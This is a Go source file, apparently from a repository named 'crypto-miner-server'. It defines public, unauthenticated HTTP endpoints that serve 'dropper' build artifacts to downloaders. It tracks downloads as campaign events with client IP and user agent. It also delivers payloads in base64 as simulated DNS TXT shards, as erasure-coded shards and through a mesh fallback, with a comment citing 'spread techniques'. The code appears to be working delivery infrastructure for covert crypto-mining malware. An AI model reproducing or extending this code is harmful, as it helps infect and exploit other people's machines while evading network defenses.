Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
248 lines
7.2 KiB
Go
248 lines
7.2 KiB
Go
package api
|
||
|
||
import (
|
||
"encoding/base64"
|
||
"fmt"
|
||
"net/http"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
dbpkg "crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/erasure"
|
||
"crypto-miner-server/internal/models"
|
||
|
||
"github.com/go-chi/chi/v5"
|
||
)
|
||
|
||
// PublicBuildsConfig supplies public-download policy from server config.
|
||
type PublicBuildsConfig struct {
|
||
Enabled bool
|
||
LatestN int
|
||
}
|
||
|
||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||
type PublicHandler struct {
|
||
db *dbpkg.Database
|
||
dataDir string
|
||
configFn func() PublicBuildsConfig
|
||
erasureShards *erasure.ShardStore
|
||
}
|
||
|
||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||
}
|
||
|
||
// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans.
|
||
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
|
||
h.erasureShards = store
|
||
}
|
||
|
||
type publicBuildDTO struct {
|
||
ID string `json:"id"`
|
||
WorkerName string `json:"worker_name"`
|
||
Platform string `json:"platform"`
|
||
FileName string `json:"file_name"`
|
||
FileSize int64 `json:"file_size"`
|
||
BundleSize int64 `json:"bundle_size"`
|
||
DownloadURL string `json:"download_url"`
|
||
CreatedAt string `json:"created_at"`
|
||
Pinned bool `json:"pinned"`
|
||
Public bool `json:"public"`
|
||
}
|
||
|
||
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
||
dl := b.DownloadURL
|
||
if dl == "" {
|
||
dl = "/api/v1/public/download/" + b.ID
|
||
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
||
// Rewrite authenticated artifact path to public when listed
|
||
if strings.Contains(dl, "/artifact/") {
|
||
parts := strings.Split(dl, "/artifact/")
|
||
if len(parts) == 2 {
|
||
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
||
}
|
||
} else {
|
||
dl = "/api/v1/public/download/" + b.ID
|
||
}
|
||
}
|
||
return publicBuildDTO{
|
||
ID: b.ID,
|
||
WorkerName: b.WorkerName,
|
||
Platform: b.Platform,
|
||
FileName: b.FileName,
|
||
FileSize: b.FileSize,
|
||
BundleSize: b.BundleSize,
|
||
DownloadURL: dl,
|
||
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
||
Pinned: b.Pinned,
|
||
Public: b.Public,
|
||
}
|
||
}
|
||
|
||
// GET /api/v1/public/builds
|
||
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||
cfg := h.configFn()
|
||
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
dtos := make([]publicBuildDTO, 0, len(builds))
|
||
for _, b := range builds {
|
||
dtos = append(dtos, toPublicBuildDTO(b))
|
||
}
|
||
writeJSON(w, map[string]interface{}{
|
||
"builds": dtos,
|
||
"public_builds_enabled": cfg.Enabled,
|
||
"latest_n": cfg.LatestN,
|
||
})
|
||
}
|
||
|
||
// GET /api/v1/public/download/{id}
|
||
// GET /api/v1/public/download/{id}/artifact/{name}
|
||
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||
id := chi.URLParam(r, "id")
|
||
if id == "" {
|
||
http.Error(w, "build id required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
cfg := h.configFn()
|
||
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
||
if err != nil || !ok {
|
||
http.Error(w, "build not available for public download", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
if c := r.URL.Query().Get("c"); c != "" {
|
||
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
|
||
}
|
||
|
||
build, err := h.db.GetBuild(id)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
artifactName := chi.URLParam(r, "name")
|
||
if artifactName != "" {
|
||
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
||
if _, err := os.Stat(path); err != nil {
|
||
http.Error(w, "artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
||
http.ServeFile(w, r, path)
|
||
return
|
||
}
|
||
|
||
path, name := resolveDropperArtifact(h.dataDir, build)
|
||
if path == "" {
|
||
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
||
http.ServeFile(w, r, path)
|
||
}
|
||
|
||
// GET /api/v1/public/dns-txt/{record}
|
||
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
|
||
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
|
||
record := strings.TrimSpace(chi.URLParam(r, "record"))
|
||
if record == "" {
|
||
http.Error(w, "record required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||
if buildID == "" {
|
||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||
}
|
||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
build, err := h.resolveLatestBuild(buildID, platform)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
data, err := os.ReadFile(build.FilePath)
|
||
if err != nil {
|
||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
|
||
w.Header().Set("Content-Type", "text/plain")
|
||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||
}
|
||
|
||
// GET /api/v1/public/webrtc-mesh/manifest
|
||
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
|
||
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
|
||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||
if buildID == "" {
|
||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||
}
|
||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
build, err := h.resolveLatestBuild(buildID, platform)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
http.ServeFile(w, r, build.FilePath)
|
||
}
|
||
|
||
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||
if buildID != "" {
|
||
return h.db.GetBuild(buildID)
|
||
}
|
||
return h.db.GetLatestBuildForPlatform(platform)
|
||
}
|
||
|
||
func encodeDNSTXTShard(data []byte) string {
|
||
return base64.StdEncoding.EncodeToString(data)
|
||
}
|
||
|
||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||
if h.erasureShards == nil {
|
||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||
return
|
||
}
|
||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||
if token == "" {
|
||
http.Error(w, "token required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
|
||
index := 0
|
||
if indexStr != "" {
|
||
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
|
||
http.Error(w, "invalid shard index", http.StatusBadRequest)
|
||
return
|
||
}
|
||
}
|
||
data, ok := h.erasureShards.Get(token, index)
|
||
if !ok {
|
||
http.Error(w, "shard not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "text/plain")
|
||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||
}
|
||
|
||
func clientIP(r *http.Request) string {
|
||
ip := r.Header.Get("X-Forwarded-For")
|
||
if ip == "" {
|
||
ip = r.RemoteAddr
|
||
}
|
||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||
ip = ip[:idx]
|
||
}
|
||
return ip
|
||
}
|